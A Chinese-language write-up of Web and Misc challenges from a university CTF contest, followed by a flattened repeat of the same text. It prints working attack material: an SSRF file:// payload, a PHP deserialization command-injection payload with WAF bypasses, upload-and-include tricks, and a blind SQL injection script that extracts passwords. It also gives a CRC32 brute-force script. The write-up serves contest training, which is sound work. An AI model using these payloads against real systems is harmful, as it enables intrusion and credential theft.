第四届上海市大学生网络安全大赛web+misc题解
字数 1984 2025-08-18 11:37:42

第四届上海市大学生网络安全大赛Web+Misc题解教学文档

Web题目解析

Web1 - SSRF与文件读取

解题步骤:

  1. 查看robots.txt发现flag.phpsource.php
  2. 访问source.php需要管理员权限
  3. 绕过方法:
    • POST数据:admin=1
    • 伪造IP:添加HTTP头x-client-ip:127.0.0.1
  4. 利用SSRF功能:
    • 初始POST:url=http://www.ichunqiu.com获取图片数据
    • 发现是网站首页源码,确认SSRF漏洞
  5. 最终利用file://协议读取本地文件:
    • Payload: url=file://www.ichunqiu.com//var/www/html/flag.php
    • 下载JPG文件查看内容获取flag

关键点:

  • robots.txt信息泄露
  • IP伪造绕过
  • SSRF漏洞利用
  • file://协议读取本地文件

Web2 - 反序列化漏洞

源码分析:

class come {
    private $method;
    private $args;
    
    function __wakeup() {
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    
    function waf($str) {
        $str = preg_replace("/[ ]/", "", $str);
        $str = str_replace('flag', '', $str);
        return $str;
    }
    
    function echo($host) {
        system("echo $host");
    }
    
    function __destruct() {
        if (in_array($this->method, array("echo"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }
}

解题步骤:

  1. 构造GET参数使$first==="doller"
    • ?first=doller&a=var=give&bbb=me&ccc=flag
  2. 构造反序列化payload执行命令:
    • 绕过空格过滤:使用$IFS
    • 绕过flag过滤:双写flaflagg
  3. 最终payload:
    O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A18%3A%22%60cat%24IFS%2Fflaflagg%60%22%3B%7D%7D
    

关键点:

  • 反序列化漏洞利用
  • WAF绕过技术
  • 私有属性序列化格式
  • 命令执行绕过

Web3 - 文件上传与包含

源码分析:

$dir = md5("icq");
$sandbox = '/var/sandbox/' . $dir;
@mkdir($sandbox);
@chdir($sandbox);

if($_FILES['file']['name']) {
    $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
    if (!is_array($filename)) {
        $filename = explode('.', $filename);
    }
    $ext = end($filename);
    if($ext == $filename[count($filename) - 1]) {
        die("emmmm");
    }
    $new_name = (string)rand(100,999).".".$ext;
    move_uploaded_file($_FILES['file']['tmp_name'], $new_name);
    
    if(@substr(file($_)[0],0,6) === '@<?php' && strpos($_, $new_name) === false) {
        include($_);
    }
    unlink($new_name);
}

解题步骤:

  1. 绕过文件扩展名检查:
    • 构造数组使end($filename) != $filename[count($filename)-1]
    • 例如:[1=>'123', 5=>'php']
  2. 上传文件并包含:
    • 上传文件内容以@<?php开头
    • 使用123.php/.绕过unlink
  3. 爆破随机生成的文件名(100-999)
  4. 访问包含的文件执行命令获取flag

关键点:

  • 数组构造绕过检查
  • 文件包含漏洞
  • unlink绕过技术
  • 随机文件名爆破

Web4 - SQL注入与文件上传

解题步骤:

SQL注入部分:

  1. 发现注入点:1' and 1=1%23
  2. 绕过information_schema过滤:
    • 使用空格分隔:information_schema . tables
  3. 盲注脚本:
import requests
import string

url = 'http://target/select_guest.php?id='
flag = ''

for i in range(1,100):
    for j in range(33,127):
        payload = "1' and (ascii(substr((SELECT GROUP_CONCAT(password) FROM user),%d,1))=%d)%%23&Submit=Select+Guest"%(i,j)
        url1 = url + payload
        r = requests.get(url=url1)
        if '10.10.1.1' in r.content:
            flag = flag + chr(j)
            print flag
            break
  1. 获取管理员密码MD5并解密

文件上传部分:

  1. 登录后尝试上传绕过:
    • 提示:please upload to ./flag.php
  2. 构造路径:
    • 利用uploaddir参数拼接
  3. 截断技巧:
    • 使用\x02截断而非\x00
  4. 最终上传flag.php获取flag

关键点:

  • SQL注入绕过过滤技术
  • 盲注脚本编写
  • 文件上传路径控制
  • 非常规截断方法

Misc题目解析

题目1 - 文件分析与隐写

解题步骤:

  1. 分析txt文件:
    • 第一行末有倒置PNG头
    • 最后一行有Word文件头
  2. 两种倒序处理:
    • 得到加密Word文档和PNG图片
  3. 扫描二维码得到:2?kEaX
  4. Base92解密得到密码Passwd
  5. 打开Word文档:
    • 移开二维码发现隐藏信息
    • 扫描二维码获取部分flag
    • "文档隐藏"上方发现部分flag
  6. 使用steganography工具:
    • 从"YOU ARE ALIVE"图片中提取flag片段
  7. 拼接完整flag

关键点:

  • 文件头分析
  • 倒序处理技巧
  • Base92编码
  • 多重隐写技术

题目nofind - 流量分析与OpenPuff

解题步骤:

  1. 分析流量包:
    • 在TCP流中发现上传的压缩包
  2. 导出HTTP对象获取文件:
    • example1(1).php
  3. 使用binwalk分离:
    • binwalk -e分离出图片
  4. 根据提示使用OpenPuff:
    • 需要三个密码,图片提示ct??????
  5. 分析HTTP对象中的三个CRC32值
  6. 编写CRC32爆破脚本:
import binascii
import itertools

def crc32_brute(length, target):
    chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
    for item in itertools.product(chars, repeat=length):
        s = ''.join(item)
        if binascii.crc32(s) & 0xffffffff == target:
            print(s)
            return s
    return None

# 对三个CRC32值分别爆破6字节
crc32_brute(6, 0x12345678)  # 替换为实际CRC32值
  1. 根据提示包含字母'f':
    • 得到三个密钥:ct93fjhl, ctmbof3k, ctv4gfx1
  2. 输入OpenPuff解密获取flag

关键点:

  • 流量分析技巧
  • CRC32爆破方法
  • OpenPuff使用
  • 多重密码保护机制

总结

本比赛涵盖了多种网络安全技术:

Web方面:

  1. 信息收集与robots.txt利用
  2. SSRF漏洞利用与绕过
  3. 反序列化漏洞与WAF绕过
  4. 文件上传漏洞与包含漏洞
  5. SQL注入与盲注技术

Misc方面:

  1. 文件分析与隐写术
  2. 流量分析与数据提取
  3. CRC32爆破技术
  4. OpenPuff隐写工具使用

关键技巧:

  • 各种协议和伪协议的利用(file://)
  • WAF绕过技术(双写、$IFS等)
  • 反序列化漏洞利用
  • 非常规截断方法
  • 多重隐写分析技术
  • CRC32爆破与密码破解

这些技术在实际渗透测试和安全研究中都有广泛应用,掌握这些技能对于网络安全从业者至关重要。

第四届上海市大学生网络安全大赛Web+Misc题解教学文档 Web题目解析 Web1 - SSRF与文件读取 解题步骤: 查看 robots.txt 发现 flag.php 和 source.php 访问 source.php 需要管理员权限 绕过方法: POST数据: admin=1 伪造IP:添加HTTP头 x-client-ip:127.0.0.1 利用SSRF功能: 初始POST: url=http://www.ichunqiu.com 获取图片数据 发现是网站首页源码,确认SSRF漏洞 最终利用 file:// 协议读取本地文件: Payload: url=file://www.ichunqiu.com//var/www/html/flag.php 下载JPG文件查看内容获取flag 关键点: robots.txt信息泄露 IP伪造绕过 SSRF漏洞利用 file://协议读取本地文件 Web2 - 反序列化漏洞 源码分析: 解题步骤: 构造GET参数使 $first==="doller" : ?first=doller&a=var=give&bbb=me&ccc=flag 构造反序列化payload执行命令: 绕过空格过滤:使用 $IFS 绕过flag过滤:双写 flaflagg 最终payload: 关键点: 反序列化漏洞利用 WAF绕过技术 私有属性序列化格式 命令执行绕过 Web3 - 文件上传与包含 源码分析: 解题步骤: 绕过文件扩展名检查: 构造数组使 end($filename) != $filename[count($filename)-1] 例如: [1=>'123', 5=>'php'] 上传文件并包含: 上传文件内容以 @<?php 开头 使用 123.php/. 绕过unlink 爆破随机生成的文件名(100-999) 访问包含的文件执行命令获取flag 关键点: 数组构造绕过检查 文件包含漏洞 unlink绕过技术 随机文件名爆破 Web4 - SQL注入与文件上传 解题步骤: SQL注入部分: 发现注入点: 1' and 1=1%23 绕过 information_schema 过滤: 使用空格分隔: information_schema . tables 盲注脚本: 获取管理员密码MD5并解密 文件上传部分: 登录后尝试上传绕过: 提示: please upload to ./flag.php 构造路径: 利用 uploaddir 参数拼接 截断技巧: 使用 \x02 截断而非 \x00 最终上传 flag.php 获取flag 关键点: SQL注入绕过过滤技术 盲注脚本编写 文件上传路径控制 非常规截断方法 Misc题目解析 题目1 - 文件分析与隐写 解题步骤: 分析txt文件: 第一行末有倒置PNG头 最后一行有Word文件头 两种倒序处理: 得到加密Word文档和PNG图片 扫描二维码得到 :2?kEaX Base92解密得到密码 Passwd 打开Word文档: 移开二维码发现隐藏信息 扫描二维码获取部分flag "文档隐藏"上方发现部分flag 使用steganography工具: 从"YOU ARE ALIVE"图片中提取flag片段 拼接完整flag 关键点: 文件头分析 倒序处理技巧 Base92编码 多重隐写技术 题目nofind - 流量分析与OpenPuff 解题步骤: 分析流量包: 在TCP流中发现上传的压缩包 导出HTTP对象获取文件: example1(1).php 使用binwalk分离: binwalk -e 分离出图片 根据提示使用OpenPuff: 需要三个密码,图片提示 ct?????? 分析HTTP对象中的三个CRC32值 编写CRC32爆破脚本: 根据提示包含字母'f': 得到三个密钥: ct93fjhl , ctmbof3k , ctv4gfx1 输入OpenPuff解密获取flag 关键点: 流量分析技巧 CRC32爆破方法 OpenPuff使用 多重密码保护机制 总结 本比赛涵盖了多种网络安全技术: Web方面: 信息收集与robots.txt利用 SSRF漏洞利用与绕过 反序列化漏洞与WAF绕过 文件上传漏洞与包含漏洞 SQL注入与盲注技术 Misc方面: 文件分析与隐写术 流量分析与数据提取 CRC32爆破技术 OpenPuff隐写工具使用 关键技巧: 各种协议和伪协议的利用(file://) WAF绕过技术(双写、$IFS等) 反序列化漏洞利用 非常规截断方法 多重隐写分析技术 CRC32爆破与密码破解 这些技术在实际渗透测试和安全研究中都有广泛应用,掌握这些技能对于网络安全从业者至关重要。